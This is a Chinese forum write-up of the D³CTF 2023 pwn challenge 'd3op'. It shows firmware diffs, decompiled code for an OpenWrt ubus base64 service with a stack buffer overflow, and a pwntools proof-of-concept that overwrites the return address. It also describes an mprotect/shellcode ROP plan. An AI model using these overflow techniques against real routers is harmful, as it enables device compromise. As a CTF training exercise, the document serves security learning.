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[原创]AntCTF x D³CTF 2023 d3op复盘笔记
发表于: 2023-5-12 16:51 20708

[原创]AntCTF x D³CTF 2023 d3op复盘笔记

z1r0 活跃值
2023-5-12 16:51
20708

题目类型为PWN，描述如下：

题目文件：https://github.com/z1r00/ctf-pwn/blob/main/AntCTF%20x%20D%C2%B3CTF/d3op/d3op-attachment-d362854d3418636059155138fd58997c.zip

把题目给的固件进行解包，然后发现是Openwrt 22.03.3

给的HINTS是diff一下，那就再从官网上下载一个22.03.3然后diff一下，diff结果如下

可以看到题目多了network，和base64这两个关键的东西

同时也得知base64是属于ubus模块

ubus list 即可看到当前ubus中注册的接口

如果想要与base64进行交互的话用call，但是需要先知道base64的输入格式是什么

知道了有两个方法，一个是encode和decode，调用如下

可以看到z1r0被base64编码并输出出来，漏洞点大概率就出在base64这里，至此初步分析完成

主函数是参数传递逻辑，当./base64 call 的时候会进入read_input

read_input的逻辑就是可以继续输入一串数据，然后输入的数据进行一些处理之后会筛选出是否存在input，此时会进入下一个check逻辑

看一下ckec

所以当执行./base64 call encode/decode的时候可以正常运行到encode/decode的处理逻辑

至此，得以进入decode/encode的处理逻辑的完整命令是

先看一下decode

在decode最前面，会得到长度。如果decode的时候存在=号则len--，可以看到最后v16中的index并没有进行检查大小，导致溢出

到此漏洞点寻找完成

接下来就是如何去利用这个漏洞，首先看一下保护

可以直接覆盖返回地址来劫持程序流，写出如下poc

调试的时候发现会在下面这个地方SIGSEGV了

看一下汇编

X0这里的地址取错了，0x450 - 8 = 0x448 = v24，在溢出的时候把v24给覆盖了之后导致的SIGSEGV结果

所以需要把v22 v23 v24 v25都处置正确才可以继续

所以写了如下poc

发现可以成功控制ret为0x6262626262626262，接下来就是构造rop

没找到system，但是发现了mprotect

如果可以控制a1，a2，a3就可以直接分配rwx来执行shellcode，用rwctf shellfind的方法来看交叉引用，从而寻找可以控制a1 a2 a3中的一个，并且可以同时执行sub_423340的地址

这样做的原因是因为笔者直接找借助x21 x19然后mov到x1 x2的gadgets，但是控制之后执行sub_423340会因为x21 x19的设置导致一些问题

如果可以控制a1, a2, a3中的任何一个并且可以执行sub_423340，这个时候就可以跳到shellcode那里了

上面这一段就符合要求，控制了x19之后然后再控制x2，最后到上面这一段

官方wp上的要更简单，控制x0即可，然后跳到shellcode那里

shellcode可以用orw，下面是用base64运行时的exp，可以看到flag成功被输出

但是远程的时候会出现问题

result里没有flag的输出，是因为输出的格式是{"output":"flag"}，而上面的0x4a2098这里直接存放的是flag，所以需要在一个地址里构造一下{"output": "，然后再将flag放到后面，最后加上"}即可

最终本地exp如下

远程如下

远程交互如下

至此，d3op复盘结束

学到了很多，ubus的通信，如何优雅的使用gadgets（XD

d3op
It might take a long time to start up, please connect about 2 minutes after the gambox start.
 
HINTS:
May be you need to do a diff with the rootfs in attachment.
d3op
It might take a long time to start up, please connect about 2 minutes after the gambox start.
 
HINTS:
May be you need to do a diff with the rootfs in attachment.
_______                     ________        __
|       |.-----.-----.-----.|  |  |  |.----.|  |_
|   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
|_______||   __|_____|__|__||________||__|  |____|
         |__| W I R E L E S S   F R E E D O M
-----------------------------------------------------
OpenWrt 22.03.3, r20028-43d71ad93e
-----------------------------------------------------
_______                     ________        __
|       |.-----.-----.-----.|  |  |  |.----.|  |_
|   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
|_______||   __|_____|__|__||________||__|  |____|
         |__| W I R E L E S S   F R E E D O M
-----------------------------------------------------
OpenWrt 22.03.3, r20028-43d71ad93e
-----------------------------------------------------
diff: openwrt/squashfs-root/etc/TZ: No such file or directory
Only in d3op/squashfs-root/etc/config: network
diff: openwrt/squashfs-root/etc/localtime: No such file or directory
diff: openwrt/squashfs-root/etc/mtab: No such file or directory
diff: openwrt/squashfs-root/etc/ppp/resolv.conf: No such file or directory
diff: openwrt/squashfs-root/etc/resolv.conf: No such file or directory
diff --color -aur openwrt/squashfs-root/etc/shadow d3op/squashfs-root/etc/shadow
--- openwrt/squashfs-root/etc/shadow    2023-01-03 08:24:21
+++ d3op/squashfs-root/etc/shadow    2023-04-12 17:33:08
@@ -1,4 +1,4 @@
-root:::0:99999:7:::
+root:$6$JlPmKq/ZhqQ0I6V6$B74FL6cufcnZKT4G0sUz3xNP0Pr4k7yOG2I091f2OFOmcldS2s7CPJwOcfx0r/OshYDOFKw76APIqPHBXCdXb/:19442::::::
 daemon:*:0:0:99999:7:::
 ftp:*:0:0:99999:7:::
 network:*:0:0:99999:7:::
diff: openwrt/squashfs-root/etc/ssl/cert.pem: No such file or directory
Only in d3op/squashfs-root: flag
diff: openwrt/squashfs-root/sbin/insmod: No such file or directory
diff: openwrt/squashfs-root/sbin/lsmod: No such file or directory
diff: openwrt/squashfs-root/sbin/modinfo: No such file or directory
diff: openwrt/squashfs-root/sbin/modprobe: No such file or directory
diff: openwrt/squashfs-root/sbin/rmmod: No such file or directory
diff: openwrt/squashfs-root/usr/bin/scp: No such file or directory
diff: openwrt/squashfs-root/usr/bin/ssh: No such file or directory
diff: openwrt/squashfs-root/usr/bin/wget: No such file or directory
Only in d3op/squashfs-root/usr/libexec/rpcd: base64
diff --color -aur openwrt/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json d3op/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json
--- openwrt/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json    2023-01-03 08:24:21
+++ d3op/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json    2023-04-10 02:25:53
@@ -1,13 +1,17 @@
 {
-    "unauthenticated": {
-        "description": "Access controls for unauthenticated requests",
-        "read": {
-            "ubus": {
-                "session": [
-                    "access",
-                    "login"
-                ]
-            }
-        }
-    }
+    "unauthenticated": {
+        "description": "Access controls for unauthenticated requests",
+        "read": {
+            "ubus": {
+                "session": [
+                    "access",
+                    "login"
+                ],
+                "base64": [
+                    "decode",
+                    "encode"
+                ]
+            }
+        }
+    }
 }
diff: openwrt/squashfs-root/etc/TZ: No such file or directory
Only in d3op/squashfs-root/etc/config: network
diff: openwrt/squashfs-root/etc/localtime: No such file or directory
diff: openwrt/squashfs-root/etc/mtab: No such file or directory
diff: openwrt/squashfs-root/etc/ppp/resolv.conf: No such file or directory
diff: openwrt/squashfs-root/etc/resolv.conf: No such file or directory
diff --color -aur openwrt/squashfs-root/etc/shadow d3op/squashfs-root/etc/shadow
--- openwrt/squashfs-root/etc/shadow    2023-01-03 08:24:21
+++ d3op/squashfs-root/etc/shadow    2023-04-12 17:33:08
@@ -1,4 +1,4 @@
-root:::0:99999:7:::
+root:$6$JlPmKq/ZhqQ0I6V6$B74FL6cufcnZKT4G0sUz3xNP0Pr4k7yOG2I091f2OFOmcldS2s7CPJwOcfx0r/OshYDOFKw76APIqPHBXCdXb/:19442::::::
 daemon:*:0:0:99999:7:::
 ftp:*:0:0:99999:7:::
 network:*:0:0:99999:7:::
diff: openwrt/squashfs-root/etc/ssl/cert.pem: No such file or directory
Only in d3op/squashfs-root: flag
diff: openwrt/squashfs-root/sbin/insmod: No such file or directory
diff: openwrt/squashfs-root/sbin/lsmod: No such file or directory
diff: openwrt/squashfs-root/sbin/modinfo: No such file or directory
diff: openwrt/squashfs-root/sbin/modprobe: No such file or directory
diff: openwrt/squashfs-root/sbin/rmmod: No such file or directory
diff: openwrt/squashfs-root/usr/bin/scp: No such file or directory
diff: openwrt/squashfs-root/usr/bin/ssh: No such file or directory
diff: openwrt/squashfs-root/usr/bin/wget: No such file or directory
Only in d3op/squashfs-root/usr/libexec/rpcd: base64
diff --color -aur openwrt/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json d3op/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json
--- openwrt/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json    2023-01-03 08:24:21
+++ d3op/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json    2023-04-10 02:25:53
@@ -1,13 +1,17 @@
 {
-    "unauthenticated": {
-        "description": "Access controls for unauthenticated requests",
-        "read": {
-            "ubus": {
-                "session": [
-                    "access",
-                    "login"
-                ]
-            }
-        }
-    }
+    "unauthenticated": {
+        "description": "Access controls for unauthenticated requests",
+        "read": {
+            "ubus": {
+                "session": [
+                    "access",
+                    "login"
+                ],
+                "base64": [
+                    "decode",
+                    "encode"
+                ]
+            }
+        }
+    }
 }
Only in d3op/squashfs-root/usr/libexec/rpcd: base64
 
+    "unauthenticated": {
+        "description": "Access controls for unauthenticated requests",
+        "read": {
+            "ubus": {
+                "session": [
+                    "access",
+                    "login"
+                ],
+                "base64": [
+                    "decode",
+                    "encode"
+                ]
+            }
+        }
+    }
Only in d3op/squashfs-root/usr/libexec/rpcd: base64
 
+    "unauthenticated": {
+        "description": "Access controls for unauthenticated requests",
+        "read": {
+            "ubus": {
+                "session": [
+                    "access",
+                    "login"
+                ],
+                "base64": [
+                    "decode",
+                    "encode"
+                ]
+            }
+        }
+    }
    - list [<path>]                        List objects
- call <path> <method> [<message>]     Call an object method
- listen [<path>...]                   Listen for events
- send <type> [<message>]              Send an event
- wait_for <object> [<object>...]      Wait for multiple objects to appear on ubus
    - list [<path>]                        List objects
- call <path> <method> [<message>]     Call an object method
- listen [<path>...]                   Listen for events
- send <type> [<message>]              Send an event
- wait_for <object> [<object>...]      Wait for multiple objects to appear on ubus
root@(none):/# ubus list
base64
container
dhcp
file
hotplug.dhcp
hotplug.iface
hotplug.neigh
hotplug.net
hotplug.ntp
hotplug.tftp
iwinfo
luci
luci-rpc
network
network.device
network.interface
network.interface.lan
network.interface.loopback
network.rrdns
network.wireless
rc
service
session
system
uci
root@(none):/# ubus list
base64
container
dhcp
file
hotplug.dhcp
hotplug.iface
hotplug.neigh
hotplug.net
hotplug.ntp
hotplug.tftp
iwinfo
luci
luci-rpc
network
network.device
network.interface
network.interface.lan
network.interface.loopback
network.rrdns
network.wireless
rc
service
session
system
uci
root@(none):/# ubus -v list base64
'base64' @1e449b72
    "encode":{"input":"String"}
    "decode":{"input":"String"}
root@(none):/# ubus -v list base64
'base64' @1e449b72
    "encode":{"input":"String"}
    "decode":{"input":"String"}
root@(none):/# ubus call base64 encode '{"input" : "z1r0"}'
{
    "output": "ejFyMAA="
}
root@(none):/# ubus call base64 encode '{"input" : "z1r0"}'
{
    "output": "ejFyMAA="
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v6[4096]; // [xsp+28h] [xbp-1028h] BYREF
  unsigned __int64 *specific_method; // [xsp+1028h] [xbp-28h]
  __int64 v8; // [xsp+1030h] [xbp-20h]
  __int64 *v9; // [xsp+1038h] [xbp-18h]
  int v10; // [xsp+1044h] [xbp-Ch]
  unsigned __int64 *method; // [xsp+1048h] [xbp-8h]
 
  init_base64();                                // base64表
  if ( argc <= 1 )
    return 0;
  method = argv[1];
  if ( check_method(method, "list") )
  {
    v10 = read_input(0, v6, 0xFFFuLL);
    v6[v10] = 0;
    v9 = sub_402478(v6);
    if ( v9 )
    {
      v8 = sub_403C90(v9, "input");
      if ( v8 && sub_4059D0(v8) )
      {
        specific_method = argv[2];
        if ( !check_method(method, "call") )
        {
          ckec(specific_method, *(v8 + 32), byte_4A2098);
          sub_40B230("{\"output\": \"%s\"}\n", byte_4A2098);
          sub_400A10(v9);
        }
        return 0;
      }
      else
      {
        return 0;
      }
    }
    else
    {
      return 0;
    }
  }
  else
  {
    uloop_init();
    return 0;
  }
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v6[4096]; // [xsp+28h] [xbp-1028h] BYREF
  unsigned __int64 *specific_method; // [xsp+1028h] [xbp-28h]
  __int64 v8; // [xsp+1030h] [xbp-20h]
  __int64 *v9; // [xsp+1038h] [xbp-18h]
  int v10; // [xsp+1044h] [xbp-Ch]
  unsigned __int64 *method; // [xsp+1048h] [xbp-8h]
 
  init_base64();                                // base64表
  if ( argc <= 1 )
    return 0;
  method = argv[1];
  if ( check_method(method, "list") )
  {
    v10 = read_input(0, v6, 0xFFFuLL);
    v6[v10] = 0;
    v9 = sub_402478(v6);
    if ( v9 )
    {
      v8 = sub_403C90(v9, "input");
      if ( v8 && sub_4059D0(v8) )
      {
        specific_method = argv[2];
        if ( !check_method(method, "call") )
        {
          ckec(specific_method, *(v8 + 32), byte_4A2098);
          sub_40B230("{\"output\": \"%s\"}\n", byte_4A2098);
          sub_400A10(v9);
        }
        return 0;
      }
      else
      {
        return 0;
      }
    }
    else
    {
      return 0;
    }
  }
  else
  {
    uloop_init();
    return 0;
  }
}
unsigned __int64 __fastcall sub_422E60(int a1, void *a2, size_t a3)
{
  unsigned __int64 v4; // x19
  unsigned int v8; // w3
  unsigned __int64 v9; // x19
  int v10; // w2
  int v11; // w2
 
  if ( byte_4A0F78 )
  {
    v4 = linux_eabi_syscall(__NR_read, a1, a2, a3);
    if ( v4 > 0xFFFFFFFFFFFFF000LL )
    {
      v10 = -v4;
      v4 = -1LL;
      *(&dword_4A8590 + _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2))) = v10;
    }
    return v4;
  }
  else
  {
    v8 = sub_444C30();
    v9 = linux_eabi_syscall(__NR_read, a1, a2, a3);
    if ( v9 > 0xFFFFFFFFFFFFF000LL )
    {
      v11 = -v9;
      v9 = -1LL;
      *(&dword_4A8590 + _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2))) = v11;
    }
    sub_444CC0(v8);
    return v9;
  }
}
unsigned __int64 __fastcall sub_422E60(int a1, void *a2, size_t a3)
{
  unsigned __int64 v4; // x19
  unsigned int v8; // w3
  unsigned __int64 v9; // x19
  int v10; // w2
  int v11; // w2
 
  if ( byte_4A0F78 )
  {
    v4 = linux_eabi_syscall(__NR_read, a1, a2, a3);
    if ( v4 > 0xFFFFFFFFFFFFF000LL )
    {
      v10 = -v4;
      v4 = -1LL;
      *(&dword_4A8590 + _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2))) = v10;
    }
    return v4;
  }
  else
  {
    v8 = sub_444C30();
    v9 = linux_eabi_syscall(__NR_read, a1, a2, a3);
    if ( v9 > 0xFFFFFFFFFFFFF000LL )
    {
      v11 = -v9;
      v9 = -1LL;
      *(&dword_4A8590 + _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2))) = v11;
    }
    sub_444CC0(v8);
    return v9;
  }
}
ckec(specific_method, *(v8 + 32), byte_4A2098);
sub_40B230("{\"output\": \"%s\"}\n", byte_4A2098);
sub_400A10(v9);
ckec(specific_method, *(v8 + 32), byte_4A2098);
sub_40B230("{\"output\": \"%s\"}\n", byte_4A2098);
sub_400A10(v9);
__int64 __fastcall sub_4064F0(unsigned __int64 *a1, __int64 a2, __int64 a3)
{
  if ( check_method(a1, "encode") )
  {
    if ( !check_method(a1, "decode") )
      decode(a2, a3);
  }
  else
  {
    encode(a2, a3);
  }
  return 0LL;
}
__int64 __fastcall sub_4064F0(unsigned __int64 *a1, __int64 a2, __int64 a3)
{
  if ( check_method(a1, "encode") )
  {
    if ( !check_method(a1, "decode") )
      decode(a2, a3);
  }
  else
  {
    encode(a2, a3);
  }
  return 0LL;
}
 
➜  squashfs-root ./base64 call encode
{"input" : "z1r0"}
{"output": "ejFyMAA="}
➜  squashfs-root ./base64 call encode
{"input" : "z1r0"}
{"output": "ejFyMAA="}
__int64 __fastcall decode(char *json_input, __int64 out_put)
{
  int v3; // w0
  int v4; // w0
  int v5; // w0
  int v6; // w0
  int v7; // w0
  int v8; // w0
  int v9; // w0
  int v10; // w0
  int v11; // w0
  int v12; // w0
  int v13; // w0
  char v16[1028]; // [xsp+28h] [xbp+28h]
  int v17; // [xsp+42Ch] [xbp+42Ch]
  int v18; // [xsp+430h] [xbp+430h]
  int v19; // [xsp+434h] [xbp+434h]
  int v20; // [xsp+438h] [xbp+438h]
  int v21; // [xsp+43Ch] [xbp+43Ch]
  unsigned int size; // [xsp+440h] [xbp+440h]
  unsigned int v23; // [xsp+444h] [xbp+444h]
  unsigned int v24; // [xsp+448h] [xbp+448h]
  unsigned int len; // [xsp+44Ch] [xbp+44Ch]
 
  size = sub_400300();
  if ( (size & 3) != 0 )
    return 0LL;
  len = 3 * (size >> 2);
  if ( json_input[size - 1] == '=' )
    --len;
  if ( json_input[size - 2] == 61 )
    --len;
  if ( out_put )
  {
    v24 = 0;
    v23 = 0;
    while ( size > v24 )
    {
      if ( json_input[v24] == 61 )
      {
        ++v24;
        v3 = 0;
      }
      else
      {
        v4 = v24++;
        v3 = byte_4A1F98[json_input[v4]];
      }
      v21 = v3;
      if ( json_input[v24] == 61 )
      {
        ++v24;
        v5 = 0;
      }
      else
      {
        v6 = v24++;
        v5 = byte_4A1F98[json_input[v6]];
      }
      v20 = v5;
      if ( json_input[v24] == 61 )
      {
        ++v24;
        v7 = 0;
      }
      else
      {
        v8 = v24++;
        v7 = byte_4A1F98[json_input[v8]];
      }
      v19 = v7;
      if ( json_input[v24] == 61 )
      {
        ++v24;
        v9 = 0;
      }
      else
      {
        v10 = v24++;
        v9 = byte_4A1F98[json_input[v10]];
      }
      v18 = v9;
      v17 = v9 + (v21 << 18) + (v20 << 12) + (v19 << 6);
      if ( len > v23 )
      {
        v11 = v23++;
        v16[v11] = BYTE2(v17);
      }
      if ( len > v23 )
      {
        v12 = v23++;
        v16[v12] = BYTE1(v17);
      }
      if ( len > v23 )
      {
        v13 = v23++;
        v16[v13] = v17;
      }
    }
    sub_4002B0();
  }
  return 0LL;
}
__int64 __fastcall decode(char *json_input, __int64 out_put)
{
  int v3; // w0
  int v4; // w0
  int v5; // w0
  int v6; // w0
  int v7; // w0
  int v8; // w0
  int v9; // w0
  int v10; // w0
  int v11; // w0
  int v12; // w0
  int v13; // w0
  char v16[1028]; // [xsp+28h] [xbp+28h]
  int v17; // [xsp+42Ch] [xbp+42Ch]
  int v18; // [xsp+430h] [xbp+430h]
  int v19; // [xsp+434h] [xbp+434h]
  int v20; // [xsp+438h] [xbp+438h]
  int v21; // [xsp+43Ch] [xbp+43Ch]
  unsigned int size; // [xsp+440h] [xbp+440h]
  unsigned int v23; // [xsp+444h] [xbp+444h]
  unsigned int v24; // [xsp+448h] [xbp+448h]
  unsigned int len; // [xsp+44Ch] [xbp+44Ch]
 
  size = sub_400300();
  if ( (size & 3) != 0 )
    return 0LL;
  len = 3 * (size >> 2);
  if ( json_input[size - 1] == '=' )
    --len;
  if ( json_input[size - 2] == 61 )
    --len;
  if ( out_put )
  {
    v24 = 0;
    v23 = 0;
    while ( size > v24 )
    {
      if ( json_input[v24] == 61 )
      {
        ++v24;
        v3 = 0;
      }
      else
      {
        v4 = v24++;
        v3 = byte_4A1F98[json_input[v4]];
      }
      v21 = v3;
      if ( json_input[v24] == 61 )
      {
        ++v24;
        v5 = 0;
      }
      else
      {
        v6 = v24++;
        v5 = byte_4A1F98[json_input[v6]];
      }
      v20 = v5;
      if ( json_input[v24] == 61 )
      {
        ++v24;
        v7 = 0;
      }
      else
      {
        v8 = v24++;
        v7 = byte_4A1F98[json_input[v8]];
      }
      v19 = v7;
      if ( json_input[v24] == 61 )
      {
        ++v24;
        v9 = 0;
      }
      else
      {
        v10 = v24++;
        v9 = byte_4A1F98[json_input[v10]];
      }
      v18 = v9;
      v17 = v9 + (v21 << 18) + (v20 << 12) + (v19 << 6);
      if ( len > v23 )
      {
        v11 = v23++;
        v16[v11] = BYTE2(v17);
      }
      if ( len > v23 )
      {
        v12 = v23++;
        v16[v12] = BYTE1(v17);
      }
      if ( len > v23 )
      {
        v13 = v23++;
        v16[v13] = v17;
      }
    }
    sub_4002B0();
  }
  return 0LL;
}
 
Arch:     aarch64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Arch:     aarch64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
from pwn import *
from os import system
import base64
 
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
 
file_name = './base64'
 
r = process([file_name, 'call', 'decode'])
 
def dbgg():
    raw_input()
 
elf = ELF(file_name)
 
dbgg()
 
p1 = b'aaaa'
p1 = p1.ljust(0x458, b"a")
 
p1 = base64.b64encode(p1)
ret = 0x406550
 
li(p1)
 
p2 = b'{"input":"' + p1 + b'"}'
li(p2)
 
r.sendline(p2)
 
r.interactive()
from pwn import *
from os import system
import base64
 
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
 
file_name = './base64'
 
r = process([file_name, 'call', 'decode'])
 
def dbgg():
    raw_input()
 
elf = ELF(file_name)
 
dbgg()
 
p1 = b'aaaa'
p1 = p1.ljust(0x458, b"a")
 
p1 = base64.b64encode(p1)
ret = 0x406550
 
li(p1)
 
p2 = b'{"input":"' + p1 + b'"}'
li(p2)

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)

最后于 2023-5-12 17:00 被z1r0编辑 ，原因：
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